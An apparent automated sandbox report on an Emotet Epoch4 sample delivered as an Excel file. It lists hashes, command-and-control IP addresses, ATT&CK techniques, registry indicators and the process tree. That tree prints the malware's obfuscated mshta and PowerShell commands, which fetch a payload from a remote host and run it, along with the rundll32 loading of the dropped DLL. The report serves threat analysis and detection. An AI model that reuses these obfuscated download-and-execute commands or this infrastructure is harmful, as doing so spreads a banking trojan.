emotet | 4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4

Analysis

max time kernel
134s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20-01-2022 18:11

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General

Target

70caf460cf0c000b71bd37cc9e8d3065.xls
Size

142KB
MD5

70caf460cf0c000b71bd37cc9e8d3065
SHA1

d5cf4d2edfc7466a0292cec8e435839ee139bd7d
SHA256

4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4
SHA512

7d23f1f84fca0a9b99e745e29c7529bb85dba3a7a7f158cfecaac7d25a55d1a03ce8c4603a13bc3be11c07f6059776ba3938b9af18317b938d1d9e8142b026bf

Score

10^/10

emotet epoch4 banker persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1064	3968	cmd.exe	51

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4032 created 3544	4032	WerFault.exe	66

Blocklisted process makes network request 5 IoCs

flow	pid	Process
37	3544	mshta.exe
38	3696	powershell.exe
40	3696	powershell.exe
42	3696	powershell.exe
62	2184	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
1976	rundll32.exe
1604	rundll32.exe
3924	rundll32.exe
2184	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xyrnmcdy\xrcfzomyhxw.jga	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
996	3544	WerFault.exe	66

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3968	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3696	powershell.exe
3696	powershell.exe
996	WerFault.exe
996	WerFault.exe
2184	rundll32.exe
2184	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3696	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 1912	3968	EXCEL.EXE	61
PID 3968 wrote to memory of 1912	3968	EXCEL.EXE	61
PID 3968 wrote to memory of 1064	3968	EXCEL.EXE	64
PID 3968 wrote to memory of 1064	3968	EXCEL.EXE	64
PID 1064 wrote to memory of 3544	1064	cmd.exe	66
PID 1064 wrote to memory of 3544	1064	cmd.exe	66
PID 3544 wrote to memory of 3696	3544	mshta.exe	69
PID 3544 wrote to memory of 3696	3544	mshta.exe	69
PID 4032 wrote to memory of 3544	4032	WerFault.exe	66
PID 4032 wrote to memory of 3544	4032	WerFault.exe	66
PID 3696 wrote to memory of 3992	3696	powershell.exe	74
PID 3696 wrote to memory of 3992	3696	powershell.exe	74
PID 3992 wrote to memory of 1976	3992	cmd.exe	75
PID 3992 wrote to memory of 1976	3992	cmd.exe	75
PID 3992 wrote to memory of 1976	3992	cmd.exe	75
PID 1976 wrote to memory of 1604	1976	rundll32.exe	77
PID 1976 wrote to memory of 1604	1976	rundll32.exe	77
PID 1976 wrote to memory of 1604	1976	rundll32.exe	77
PID 1604 wrote to memory of 3924	1604	rundll32.exe	78
PID 1604 wrote to memory of 3924	1604	rundll32.exe	78
PID 1604 wrote to memory of 3924	1604	rundll32.exe	78
PID 3924 wrote to memory of 2184	3924	rundll32.exe	79
PID 3924 wrote to memory of 2184	3924	rundll32.exe	79
PID 3924 wrote to memory of 2184	3924	rundll32.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\70caf460cf0c000b71bd37cc9e8d3065.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1912
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3696
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3992
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1976
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1604
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xyrnmcdy\xrcfzomyhxw.jga",NaHqOuSvAVJXo
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3924
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xyrnmcdy\xrcfzomyhxw.jga",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:2184
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3544 -s 1724
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:640

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe ff9cc5e03793f17992823208008fb8d2 mXXzQROENkiGuBKPD0WKJg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1264

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 3544 -ip 3544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p
1⤵
PID:1320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1604-557-0x0000000004500000-0x0000000004526000-memory.dmp

Filesize
152KB

Download
memory/1604-554-0x0000000003F30000-0x0000000003F56000-memory.dmp

Filesize
152KB

Download
memory/1976-551-0x0000000004A70000-0x0000000004A96000-memory.dmp

Filesize
152KB

Download
memory/2184-577-0x0000000005110000-0x0000000005136000-memory.dmp

Filesize
152KB

Download
memory/2184-583-0x0000000005410000-0x0000000005436000-memory.dmp

Filesize
152KB

Download
memory/2184-575-0x00000000050B0000-0x00000000050D6000-memory.dmp

Filesize
152KB

Download
memory/2184-579-0x0000000005280000-0x00000000052A6000-memory.dmp

Filesize
152KB

Download
memory/2184-571-0x00000000031C0000-0x00000000031E6000-memory.dmp

Filesize
152KB

Download
memory/2184-581-0x00000000052E0000-0x0000000005306000-memory.dmp

Filesize
152KB

Download
memory/2184-585-0x00000000054F0000-0x0000000005516000-memory.dmp

Filesize
152KB

Download
memory/3696-532-0x000002B73A5C0000-0x000002B73A5C2000-memory.dmp

Filesize
8KB

Download
memory/3696-533-0x000002B73A5C3000-0x000002B73A5C5000-memory.dmp

Filesize
8KB

Download
memory/3696-556-0x000002B73AB60000-0x000002B73ABD6000-memory.dmp

Filesize
472KB

Download
memory/3696-530-0x000002B722300000-0x000002B722322000-memory.dmp

Filesize
136KB

Download
memory/3696-536-0x000002B73A740000-0x000002B73A784000-memory.dmp

Filesize
272KB

Download
memory/3696-534-0x000002B73A5C6000-0x000002B73A5C8000-memory.dmp

Filesize
8KB

Download
memory/3924-567-0x00000000028C0000-0x00000000028E6000-memory.dmp

Filesize
152KB

Download
memory/3968-137-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

Filesize
64KB

Download
memory/3968-131-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-132-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-130-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-133-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-134-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-138-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

Filesize
64KB

Download
memory/3968-605-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-606-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-607-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3968-608-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download